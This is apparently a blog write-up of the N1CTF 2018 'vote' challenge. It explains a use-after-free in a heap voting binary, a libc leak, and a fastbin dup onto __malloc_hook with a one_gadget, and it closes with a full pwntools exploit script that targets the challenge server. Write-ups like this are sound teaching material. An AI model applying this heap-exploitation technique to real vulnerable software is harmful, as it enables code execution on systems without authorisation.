N1CTF 2018: vote Writeup

Solved by sherl0ck

Firstly, kudos to the organizers for conducting such a quality CTF. Coming to this particular challenge, we were given the libc and the binary. The following were the mitigation’s enforced on the binary-

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

Reversing this binary was pretty easy. It was a menu driven program with 6 options, namely, create, show, vote, result, cancel and exit. Let’s quickly go through what each of these options does.

The create option allocated and initialized the following structure on the heap.

struct election{
       unsigned long vote_count;
       unsigned long time_;
       char name[size];
}

In the show functionality, given an index, the value of all corresponding structure members are printed out.

The vote function ask’s for an index, increment’s the corresponding vote_count member, resets the time_ and then creates a new thread that increments the entry corresponding to the index in a global array named vote.

The result option prints out all the indices and their corresponding votes (from the vote array).

Now for the cancel function. This is the one that has the vulnerability. This functionality asks for an index and then decrements the corresponding vote and vote_count. It then checks if both are equal. If they are then the struct object is freed but the pointer to the object is not nulled out, hence resulting in a use-after-free bug. Else if the resulting votes (after the decrement) are less than zero, then the member is freed and the pointer is nulled out.

Memory Leaks

This is pretty easy due to the uaf bug. Just allocate a large chunk, and then another one (to prevent coalescing) and then free the first chunk. Now the show() on the freed chunk gives a libc leak. We can get a heap leak by freeing two fastbin chunks and ‘showing’ them, but a heap leak isn’t necessary for this exploit.

 Exploit

Since we don’t control the first 8 bytes of the chunk, we can’t directly perform a fastbin dup with double free. So my idea was to create overlapping free chunk’s so that we can edit the fd of a fastbin chunk and then perform fastbin dup to malloc_hook. For this first create a large chunk and then create another large chunk. After this create a chunk of any size to prevent coalescing. So our current heap structure would be something like-

 chunk 1
——————–
chunk 2
——————–
chunk 3
——————–
TOP

Now free chunk 1 and 2. They will coalesce to form a bigger chunk. Now allocate a chunk of a size equivalent to the size of the big free chunk (let’s call it new_chunk). We now control the size field of the inner chunk (chunk 2). Edit it to make its size equal to 0x71.

Keep in mind that due to the use-after-free in cancel(), we still have a pointer to chunk 2. Now we use this pointer to free this chunk again. But now, the chunk that is freed is a fastbin chunk. After this, free new_chunk and then again allocate it but this time edit the fd of the free fastbin chunk that is lying inside the new_chunk. This pic should make things clearer.

vote-heap

Now we can allocate a chunk of size 0x70-0x10 = 0x60 and the next allocation of size 0x60 lands us with a chunk at the address we had specified by corrupting the fd of the free fastbin chunk.

So the question is what to corrupt the fd of free fastbin with. Now just before malloc_hook, there is some libc address, which we can adjust to form the size field as libc addresses in 64-bit architecture start with 0x7f. Here’s a pic of the region-

vote-fastbin

The address “0x7f61c1ad1af5” can pass as the size field. So we have to overwrite the fd of the free fastbin chunk with this address – 0x8.

Ok, so we can now overwrite malloc_hook. But since there is a size check on the size that is passed to malloc(), we can’t overwrite it with ‘system’. So we will use one shot rce here. I used david942j’s one_gadget to find an appropriate gadget in the given libc. Now, a normal malloc did not satisfy any conditions for the rce to work. So I had to use a double free (which invoke’s malloc_hook) to execute the rce gadget.

Here’s a quick summary of the exploit.

  1. Allocate a large chunk (chunk 1).
  2. Allocate another large chunk (chunk 2).
  3. Allocate a third chunk of any size (chunk 3).
  4. Free chunk 1 and 2.
  5. Allocate a chunk of size equal to that of the large chunk (new_chunk).
  6. Edit the size of chunk 2 and make it 0x71.
  7. Free chunk 2 again and then free new_chunk.
  8. Allocate new_chunk again and corrupt fd of chunk 2 to point to a location before malloc_hook.
  9. Allocate chunk of size 0x60.
  10. Allocate chunk of size 0x60 – in this give payload to overwrite malloc_hook, i.e the rce gadget.
  11. Free any chunk twice….. and get shell

And here’s the exploit script-

from pwn import *
import sys

HOST='47.97.190.1'
PORT=6000

if len(sys.argv)>1:
    r=remote(HOST,PORT)
else:
    r=process('./vote',env={"LD_PRELOAD":"./libc-2.23.so"})

libc=ELF("./libc-2.23.so")

def menu(opt):
    r.sendlineafter("Action: ",str(opt))

def create(size,name):
    menu(0)
    r.sendlineafter("Please enter the name's size: ",str(size))
    r.sendlineafter("Please enter the name: ",name)

def show(idx):
    menu(1)
    r.sendlineafter("Please enter the index: ",str(idx))

def vote(idx):
    menu(2)
    r.sendlineafter("Please enter the index: ",str(idx))

def result():
    menu(3)

def cancel(idx):
    menu(4)
    r.sendlineafter("Please enter the index: ",str(idx))

def getleak():
    create(200,"AAAA") # chunk 1
    create(200,"qqqq") # chunk 2
    create(21,"bbbb")  # chunk 3
    cancel(1)
    show(1)
    r.recvuntil("count: ")
    libc.address=int(r.recvuntil('\n').strip(),10)-0x3c4b78
    log.info("libc @ "+hex(libc.address))

def exploit():
    cancel(0)
    create(416,"A"*8*24+p64(0)+p64(0x71)+p64(0)*13+p64(0x71)) # overwrite size of chunk 2
    cancel(1)
    cancel(0)
    create(416,"A"*8*24+p64(0)+p64(0x71)+p64(libc.address+0x3c4aed)) # overwrite fd of chunk 2
    create(80,"AAAA")
    create(80,"w"*3+p64(libc.address+0xf0274)) # overwrite malloc_hook with one shot rce
    cancel(2)
    cancel(2) # double free to get shell

if __name__=='__main__':

    getleak()
    exploit()
    r.interactive()

And on running the exploit –

vote.png

Hope you enjoyed reading through!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: